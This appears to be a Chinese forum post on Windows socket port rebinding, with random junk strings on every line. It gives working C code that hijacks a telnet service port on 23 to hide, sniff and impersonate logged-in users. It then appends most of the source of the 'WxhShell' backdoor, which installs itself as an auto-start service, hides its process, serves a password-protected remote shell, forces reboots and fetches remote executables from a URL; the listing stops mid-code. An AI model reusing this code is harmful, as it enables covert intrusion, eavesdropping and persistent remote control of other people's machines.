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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #[#dc]D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /C}fE]n{X  
k||DcwO  
  saddr.sin_family = AF_INET; J#W>%2 "s  
&hYjQ&n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )Z 3fytY  
t| zLR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6Gs,-Kb:  
Cx/duod p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #0WO~wL  
cBA2;5E  
  这意味着什么?意味着可以进行如下的攻击: $T0|zPK5  
[%8+Fa~Wa  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "]`QQT-{0  
DD hc^(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j{'@g[HW  
gB@Wv9 1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .tb~f@xL  
ARu^hz=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I1H:h  
<cz~q=%v2&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wB( igPi  
l9.wMs*`X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O_PC/=m1@  
$mOK|=tI_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ @/[#p  
Va/ p   
  #include jr:LLn#}  
  #include k\}qCDs  
  #include ;mb 6i_  
  #include    afc?a-~Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   } q ? iJ?P  
  int main() Z{n7z$s*  
  { #z t+U^#)  
  WORD wVersionRequested; vP'R7r2Yx  
  DWORD ret; /aJl0GL4!  
  WSADATA wsaData;  D-4 PEf  
  BOOL val; U%45qCU  
  SOCKADDR_IN saddr; 8`qw1dF  
  SOCKADDR_IN scaddr; %GS)9{T&  
  int err; EX&y !  
  SOCKET s; 8YN+ \  
  SOCKET sc; 8LwbOR"  
  int caddsize; 9H3#8T] ;  
  HANDLE mt; 6CU8BDN  
  DWORD tid;   aTs_5q  
  wVersionRequested = MAKEWORD( 2, 2 ); ^HL#)fK2I  
  err = WSAStartup( wVersionRequested, &wsaData ); XfsCu>  
  if ( err != 0 ) { I|O~F e.  
  printf("error!WSAStartup failed!\n"); N]yk<55  
  return -1; "=f*Lk@[  
  } D_9/|:N:  
  saddr.sin_family = AF_INET; +V8yv-/{  
   3P6!j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =8dCk\/  
R4JO)<'K&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l>&)_:\  
  saddr.sin_port = htons(23); {YbqB6zaM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M3F8@|2  
  { ?j0blXl  
  printf("error!socket failed!\n");  (lPNMS|V  
  return -1; |#2<4sd  
  } km<~H w>Z  
  val = TRUE; Wu Gm~<NS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~0 FqY &4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)   6^: l  
  { xG}eiUbM`  
  printf("error!setsockopt failed!\n"); +ic~Sar  
  return -1; 0 q3<RX>M%  
  } b8v$*{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u%[*;@;9+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jv|IV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !Xj m h$F  
rjR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H[Pb Wy:  
  { puqH%m+u  
  ret=GetLastError(); BkqIfV%O  
  printf("error!bind failed!\n"); E>6zwp  
  return -1; nQ(#'9  
  } {h%.i Et%  
  listen(s,2); $oua]8!  
  while(1) ci^-0l_O  
  { 4GHIRH C%[  
  caddsize = sizeof(scaddr); 6 3u'-Z"4  
  //接受连接请求 In;z\"NN4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uN\9c Q  
  if(sc!=INVALID_SOCKET) Jc%>=`f  
  { &&<^wtznO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mifYk>J^9  
  if(mt==NULL) #uXOyiE  
  { 7T2W% JT-,  
  printf("Thread Creat Failed!\n"); rP\ 7C+  
  break; 8m*\"_S{  
  } W>Rv  
  } m9B3]H  
  CloseHandle(mt); 2\5@_U^)h  
  } _fyw  
  closesocket(s); 25 ~$qY_  
  WSACleanup(); 9H)uTyuNi  
  return 0;  7:p]~eM)  
  }   OVh/t# On  
  DWORD WINAPI ClientThread(LPVOID lpParam) Uq+ _#{2(  
  { m5x>._7le  
  SOCKET ss = (SOCKET)lpParam; $cy:G  
  SOCKET sc; /pge7P  
  unsigned char buf[4096]; yED^/=\)}  
  SOCKADDR_IN saddr; AeJM[fCMa  
  long num; f%}+.e D  
  DWORD val; 4 ?c1c  
  DWORD ret; slmxit  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .BUl$RW|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IGqmH=-  
  saddr.sin_family = AF_INET; s,29_z7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Its;|  
  saddr.sin_port = htons(23); +8Px` v1L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q7PRJX  
  { V_1#7  
  printf("error!socket failed!\n"); RtW5U8  
  return -1; f:Ja  
  } 'q^Gg;c>+  
  val = 100; -$kJERvy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h9-Ky@X`  
  { ^ /BE=$E\  
  ret = GetLastError(); [:=[QlvV  
  return -1; ~R8yj(  
  } @} Z/{Z[@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V$_0VN'+Z  
  { @ixX?N)V  
  ret = GetLastError(); [;2:lbPx  
  return -1; D vKM>P%|  
  } C}kJGi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k:qou})#4  
  { } 2.}fHb2  
  printf("error!socket connect failed!\n"); ,Df36-74v5  
  closesocket(sc); .#eXNyCe  
  closesocket(ss); hpyre B  
  return -1; S p )}  
  } (qP$I:Q4]v  
  while(1) R _Y&Y-  
  { 8WGM%n#q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :V2 Q n-N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 prs<ZxbQb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q(IS=  
  num = recv(ss,buf,4096,0); D6oby*_w  
  if(num>0) _Kj.  
  send(sc,buf,num,0); W9Lg}[>:)  
  else if(num==0) V<pqc&f .  
  break; //,'oh~W  
  num = recv(sc,buf,4096,0); ~.lH)  
  if(num>0) Z4-dF;7  
  send(ss,buf,num,0); ^k(eRs;K  
  else if(num==0) . R}y"O\  
  break; Ju[`Qw`I  
  } }"x*xN  
  closesocket(ss); -}sya1(<8  
  closesocket(sc); Rqz()M  
  return 0 ; 7jbm w<d)9  
  } .Topg.7W  
2ML6Lkk  
!dH&IEP~  
========================================================== eM"mP&TTL  
sN}@b8o@  
下边附上一个代码,,WXhSHELL W>bW1h  
NETC{:j  
========================================================== c):*R ]=  
`6$b1qv,  
#include "stdafx.h" _fCHj$I*]  
6)$ N[FNs  
#include <stdio.h> EXcjF  
#include <string.h> xi\RUAW  
#include <windows.h> `VE&Obp[  
#include <winsock2.h> P$ef,ZW"  
#include <winsvc.h> /xbZC{R  
#include <urlmon.h> Z+W&C@Uw  
Y]K]]Ehp  
#pragma comment (lib, "Ws2_32.lib") CEq]B:[IC  
#pragma comment (lib, "urlmon.lib") 0Ida]H  
d@4!^vD;  
#define MAX_USER   100 // 最大客户端连接数 =M#?*e  
#define BUF_SOCK   200 // sock buffer -b}S3<15@  
#define KEY_BUFF   255 // 输入 buffer X4G55]D$>  
05 Q8`  
#define REBOOT     0   // 重启 XL=R]IC<.  
#define SHUTDOWN   1   // 关机 :t S"sM  
BQ:Kx_   
#define DEF_PORT   5000 // 监听端口 L)'rM-nkFh  
15 11<,  
#define REG_LEN     16   // 注册表键长度 "BfmX0&?  
#define SVC_LEN     80   // NT服务名长度 73ljW  
==Mi1Q#5C  
// 从dll定义API &:#8ol(n5b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hk*cO;c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }n%R l\p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D>e\OfTR:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l1Q+hz5"*U  
]q7 LoH'S  
// wxhshell配置信息 +%\j$Pv  
struct WSCFG { 7U`S9DDwq  
  int ws_port;         // 监听端口 # pB:LPEsK  
  char ws_passstr[REG_LEN]; // 口令 = DTOI  
  int ws_autoins;       // 安装标记, 1=yes 0=no >#U <#  
  char ws_regname[REG_LEN]; // 注册表键名 z\8yB`8b^  
  char ws_svcname[REG_LEN]; // 服务名 ^p zxwt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0P40K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TK/'=8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W.D3$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `A _8nW)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" { DQ E7kI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `$SEkYdt  
AE4~M`6D  
}; #*$@_  
7jH`_58  
// default Wxhshell configuration *F*jA$aY  
struct WSCFG wscfg={DEF_PORT, N$&ePU J  
    "xuhuanlingzhe", ('6g)@=\U  
    1, &qP-x98E?  
    "Wxhshell", q;zf|'&*7C  
    "Wxhshell", tq:tY}:4  
            "WxhShell Service", %=4ak]As  
    "Wrsky Windows CmdShell Service", 9r+O!kF(  
    "Please Input Your Password: ", q+n1~AT  
  1, UdW(\%  
  "http://www.wrsky.com/wxhshell.exe", tm1UH 4  
  "Wxhshell.exe" 6Hbf9,vI  
    }; `h9)`*  
Gb|}Su  
// 消息定义模块 _<*GU@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EN)A"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7$'mC9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SKpPR;=q|:  
char *msg_ws_ext="\n\rExit."; J1p75c%  
char *msg_ws_end="\n\rQuit."; 7(~H77  
char *msg_ws_boot="\n\rReboot..."; kTZx-7~  
char *msg_ws_poff="\n\rShutdown..."; H'GYJ ?U"  
char *msg_ws_down="\n\rSave to "; 8Cs$NUU  
0yC`9g)(  
char *msg_ws_err="\n\rErr!"; a950M7  
char *msg_ws_ok="\n\rOK!"; iQ{&&>V%  
*Z]WaDw  
char ExeFile[MAX_PATH]; /4 LR0`A'  
int nUser = 0; W _,;eyo  
HANDLE handles[MAX_USER]; iqednk%  
int OsIsNt; [x<6v}fRn  
bxdXZB n  
SERVICE_STATUS       serviceStatus; iE^a%|?}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !ObE{2Enf  
zYG,x*IH  
// 函数声明 Ryq"\Q>+  
int Install(void);  4SffP/  
int Uninstall(void); loUl$X.u  
int DownloadFile(char *sURL, SOCKET wsh); fEw=I7{Y  
int Boot(int flag); y /:T(tk$  
void HideProc(void); $C05iD  
int GetOsVer(void); L=HVdeE  
int Wxhshell(SOCKET wsl); ?5yH'9zE  
void TalkWithClient(void *cs); sjzXJ`s  
int CmdShell(SOCKET sock); {y:#'n  
int StartFromService(void); p=~h|(M|  
int StartWxhshell(LPSTR lpCmdLine); H : T N  
xeHb89GnoQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q#(/*AoU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (HaKF7Jsi  
|N$?_<H  
// 数据结构和表定义 <P^hYj-swh  
SERVICE_TABLE_ENTRY DispatchTable[] = ?YO =J  
{ %]<RRH.w  
{wscfg.ws_svcname, NTServiceMain}, \5[D7}  
{NULL, NULL} q^N0abzgP  
}; ;sChxQ=.^  
SCurO9RN  
// 自我安装 !/nx=vg p  
int Install(void) Itr7lv'5xx  
{ e*P=2*]M  
  char svExeFile[MAX_PATH]; O*rmD<L$  
  HKEY key; ?cO8'4 bq  
  strcpy(svExeFile,ExeFile); L8dU (P  
>Qm<-g  
// 如果是win9x系统,修改注册表设为自启动 lkg"'p{  
if(!OsIsNt) { R#/?AD&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o'eI(@{F=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G;Wkm|  
  RegCloseKey(key); 7V=MRf&xQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EDHg'q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )8$:DW;  
  RegCloseKey(key); !eR-Kor  
  return 0; g%\$ !b  
    } `8Jq~u6_Z  
  } Vm~qk  
} '(*&Ax  
else { AbF(MK=i  
om}/f`  
// 如果是NT以上系统,安装为系统服务 !{Q:(B#ec  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {xv?wenE  
if (schSCManager!=0) CQSpPQA  
{ %GX uuE}mX  
  SC_HANDLE schService = CreateService RVkU+7  
  ( ^`rpf\GX(  
  schSCManager, "]T$\PJun  
  wscfg.ws_svcname, \TbsoWX  
  wscfg.ws_svcdisp, +5HnZ?E\  
  SERVICE_ALL_ACCESS, hV-V eKjZ(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~!ZmF(:  
  SERVICE_AUTO_START, P{S\pWZkk  
  SERVICE_ERROR_NORMAL, K$GRJ  
  svExeFile, [7gYd+s  
  NULL, ?GO SeV  
  NULL, j2 }  
  NULL, j,C,5l=  
  NULL, j0iAU1~_VX  
  NULL 1yBt/U2  
  ); :xFu_%7  
  if (schService!=0) Qz@IK:B}  
  { oTCzYY  
  CloseServiceHandle(schService); `/O`OrZ1K  
  CloseServiceHandle(schSCManager); 6 Wpxp\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WR/o @$/  
  strcat(svExeFile,wscfg.ws_svcname); V#0 dGP-Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U@6jOZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PS=e\(6QC  
  RegCloseKey(key); #wenX$UTh3  
  return 0; S \e& ?Y`  
    } qKdS7SoS  
  } N0Efw$u  
  CloseServiceHandle(schSCManager); 2W^B{ZS;  
} HDmx@E.@  
} jzs.+dAg  
IKi{Xh]\  
return 1; ;} lT  
} KVB0IXZC~  
w 66 v\x~  
// 自我卸载 *u>lx!g  
int Uninstall(void) 7tSJniB  
{ Wy<[(Pd   
  HKEY key; MpO RGd  
KD% TxK  
if(!OsIsNt) { }* QO]_U?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B%tIwUE2  
  RegDeleteValue(key,wscfg.ws_regname); {L@+(I  
  RegCloseKey(key); 0K<x=-cCB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,~4H{{<j  
  RegDeleteValue(key,wscfg.ws_regname); X^}A*4j  
  RegCloseKey(key); Rj[ hhSx 2  
  return 0; TUh&d5a9H  
  } ]^=|Zd-  
} gmh5 %2M  
} KRYcCn  
else { vSOT*0r  
EgTFwEj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bfgz1 `u  
if (schSCManager!=0) ao#!7F  
{ OAv>g pw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `SV"ElRV  
  if (schService!=0) c juZB Fl  
  { /X4yB"J>  
  if(DeleteService(schService)!=0) { L#D9@V'z  
  CloseServiceHandle(schService); *q0`})IQ  
  CloseServiceHandle(schSCManager); o`bo#A  
  return 0; #HeM,;Xp  
  } lT.zNhz:d9  
  CloseServiceHandle(schService); 2fJ{LC  
  } v:KX9A.  
  CloseServiceHandle(schSCManager); b'i'GJBQ+$  
} .~3kGf":  
} `Da+75 f6v  
!(Krf  
return 1; ?d$"[lKX  
} E\0X`QeY  
?O??cjiA@  
// 从指定url下载文件 nH@(Y&S  
int DownloadFile(char *sURL, SOCKET wsh) !z"Nv1!~|  
{ `)32&\  
  HRESULT hr; BQ#3QL't  
char seps[]= "/"; AUfS-  
char *token; e}A&V+  
char *file; t<nFy  
char myURL[MAX_PATH]; c-kA^z{f  
char myFILE[MAX_PATH]; GnFs63  
B'-I{~'/  
strcpy(myURL,sURL); YOyp|%!  
  token=strtok(myURL,seps); ZK6Hvc0  
  while(token!=NULL) o0ZIsrr  
  {  1,,|MW  
    file=token; ak;6z]f8[  
  token=strtok(NULL,seps); n@!wp/J,  
  } %KtU1A(["  
OL'P]=U  
GetCurrentDirectory(MAX_PATH,myFILE); \fZiL!E^7  
strcat(myFILE, "\\"); c'Z: 9?#5  
strcat(myFILE, file); B^fT>1P  
  send(wsh,myFILE,strlen(myFILE),0); t9FDU  
send(wsh,"...",3,0); ?  -3\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )RN<GW'  
  if(hr==S_OK) ;QBh;jg4  
return 0; j!\dn!Xwt  
else ?}}qu'N:N  
return 1; $5AC1g'  
c%z'xM  
} 8d!GZgC8R  
Qzqc .T  
// 系统电源模块 DP 9LO_{  
int Boot(int flag) dC.bt|#Oz  
{ a(;!O}3_)(  
  HANDLE hToken; {uU 2)5i2-  
  TOKEN_PRIVILEGES tkp; -/ +#5.`1  
ACg;CTB b  
  if(OsIsNt) { pr tK:eGe2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 03=5Nof1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A%u_&a}  
    tkp.PrivilegeCount = 1; 3J~0O2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W @.Ji B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j8++R&1f]  
if(flag==REBOOT) { f'X9HU{Cz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .oqIZ\iik  
  return 0; hmpr%(c`  
} 5.vG^T0w  
else { `&!k!FZY*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1!1!PA9u  
  return 0; ZF6c{~D  
} Ipe n  
  } DkDoA;m  
  else { 9CJ(Z+;OM  
if(flag==REBOOT) { "Y;}G lE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `!vUsM.d  
  return 0; |4;UyHh  
} ST1'\Eo  
else { .5w azvA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vi?q>:E:  
  return 0; z.36;yT/  
} X^s2BW  
} o(!@7Lqq  
vDFGd-S  
return 1; AiP!hw/V$  
} / vxm"CJR  
os4{0Mxu  
// win9x进程隐藏模块 ml6u1+v5  
void HideProc(void) Ag9?C*  
{ > Lft9e   
8`=v.   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s@8w-]"  
  if ( hKernel != NULL ) -TO\'^][X  
  { w_hHfZ9E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ALc`t(..}A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a0=WfeT  
    FreeLibrary(hKernel); T 2F6)e  
  } ,WD X(  
nhT-Ido  
return; H,QTYXi "  
} y7/F _{  
j$Ab>}g]  
// 获取操作系统版本 E{E0Z9t7&  
int GetOsVer(void) 0.Ta Xbi  
{ @WMA}\Cc  
  OSVERSIONINFO winfo; k*?I>%^6#T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +s++7<C  
  GetVersionEx(&winfo); ea'&xs#GK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H[ m <RaG8  
  return 1; M|,mr~rRG  
  else `=UWqb(K_  
  return 0; @-HG`c ct  
} pav'1d%  
rHjq1-t  
// 客户端句柄模块 FAsFjRS  
int Wxhshell(SOCKET wsl) - VxDNT}Tr  
{ zFz10pH  
  SOCKET wsh; oGa^/:6L  
  struct sockaddr_in client; Hc^W%t~  
  DWORD myID; q1?&Ev^  
s{0aBeq  
  while(nUser<MAX_USER) 8NBT|N~N  
{ m3bCZ 9iE  
  int nSize=sizeof(client); n_?tN\M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3"N)xO-  
  if(wsh==INVALID_SOCKET) return 1; \xv;sl$f  
Fqy\CMC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t.p~\6Yi  
if(handles[nUser]==0) 5 Xn.CBd]  
  closesocket(wsh); lVOu)q@l7g  
else @$9'@")  
  nUser++; F$BbYf2i  
  } V#REjsf,t-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #@HF<'H}mu  
$+p?Y)h .  
  return 0; d?wc*N3  
} .*g0w`H5pU  
':{>a28=  
// 关闭 socket t>=fTkB  
void CloseIt(SOCKET wsh) &i+Ce  
{ 7x);x/#8Z  
closesocket(wsh); WOzf]3Xcj  
nUser--; JjaoOe  
ExitThread(0); i4Lc$20?d  
} SZaS;hhhHu  
|a1{ve[  
// 客户端请求句柄 BTgG4F/)  
void TalkWithClient(void *cs) 'R-3fO???  
{ @,Gxk   
hj'(*ND7z  
  SOCKET wsh=(SOCKET)cs; CI353-`  
  char pwd[SVC_LEN]; 2 3OC2|  
  char cmd[KEY_BUFF]; 0}!\$"|D  
char chr[1]; *Kdda} J+  
int i,j; p sL?Y  
#(An6itl  
  while (nUser < MAX_USER) { P3$Q&^?  
OnQdq^UB  
if(wscfg.ws_passstr) { .7K7h^*F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x }Ad_#q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'AN>`\mR$  
  //ZeroMemory(pwd,KEY_BUFF); =[b)1FUp  
      i=0; RuII!}*  
  while(i<SVC_LEN) {  (x/k.&  
X 1 57$  
  // 设置超时 okbQ<{9  
  fd_set FdRead; DC{>TC[p1k  
  struct timeval TimeOut; rj(T~d4  
  FD_ZERO(&FdRead); }gJ(DbnV  
  FD_SET(wsh,&FdRead); 93Co}@Y;Y+  
  TimeOut.tv_sec=8; 3EJt%}V$k  
  TimeOut.tv_usec=0; :VTTh |E%#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ns6(cJ^a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xJ#d1[kzo  
;4Y%PV z~D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SkmT`*v@  
  pwd=chr[0]; :POj6j/  
  if(chr[0]==0xd || chr[0]==0xa) { `BlI@6th  
  pwd=0; x)(|[  
  break; ep)>X@t  
  } _/i4MtM  
  i++; n2iJ%_zp  
    } ty8v 6J#  
.l.a(_R  
  // 如果是非法用户,关闭 socket X5 j1`t,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Djg,Lvhm  
} Na:w]r:y  
Q~Hy%M%R3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tQS5hwm*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : |>Gc39`t  
+E{|63~q  
while(1) { s&RVJX>Rt  
V4_=<W  
  ZeroMemory(cmd,KEY_BUFF); P9T}S  
17`1SGZ  
      // 自动支持客户端 telnet标准   hEp(A8g)bQ  
  j=0; !QvZ<5(  
  while(j<KEY_BUFF) { G K7![p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? #fu.YE\  
  cmd[j]=chr[0]; E{|W(z,  
  if(chr[0]==0xa || chr[0]==0xd) { R6]Gk)5  
  cmd[j]=0; 6_FE4RR[  
  break; r,h%[JKM  
  } >r !|sC  
  j++; 97}OL`y  
    } *{L)dW+:  
9Gnc9_]I;W  
  // 下载文件 +mn ,F};  
  if(strstr(cmd,"http://")) { cLLbZ=`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U H*r5o3  
  if(DownloadFile(cmd,wsh)) ,%M$0poKM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JU)dr4S?  
  else PK`D8)=u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t+!$[K0/  
  } hpD!2 K3>  
  else { ^zQ/mo,Z  
`Tv[DIVW  
    switch(cmd[0]) { "$YJX1u3  
  [D\k^h  
  // 帮助 ]GW]dM  
  case '?': { dZ0A3(t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,^\2P$rT  
    break; e]zBf;9 J  
  } C$XU%5qi  
  // 安装 PamO8^!G  
  case 'i': { 67Th;h*sh  
    if(Install()) OWg(#pZk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u)+8S/ )  
    else E? ; 0)'h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T7hcnF$  
    break; y.< m#Zzt  
    } %`1q-,>v  
  // 卸载 1=d6NX)B  
  case 'r': { \D*KGd]M0  
    if(Uninstall()) 62ws/8d6f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yp^rR }N  
    else k@k&}N0{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `T5W}p[6  
    break; ]1#e#M]#  
    } Yfzl%wc  
  // 显示 wxhshell 所在路径 Ju1D = b  
  case 'p': { lww!-(<ww  
    char svExeFile[MAX_PATH]; Ng~FEl  
    strcpy(svExeFile,"\n\r"); H[U!%Z  
      strcat(svExeFile,ExeFile); 3cK I  
        send(wsh,svExeFile,strlen(svExeFile),0); 0tT(W^ho g  
    break; :&V h?  
    } Dv5D~on{  
  // 重启 #_^Lb]jkM  
  case 'b': { e#$]Y?,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j i7[nY  
    if(Boot(REBOOT)) Lr~=^{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ix)M`F%P3  
    else { $QN"w L||  
    closesocket(wsh); wsI`fO^A8  
    ExitThread(0); K;?m';z0  
    } w"-Lc4t+  
    break; /<|%yE&KhJ  
    } U`,6 * MS  
  // 关机 3q\,$*D.  
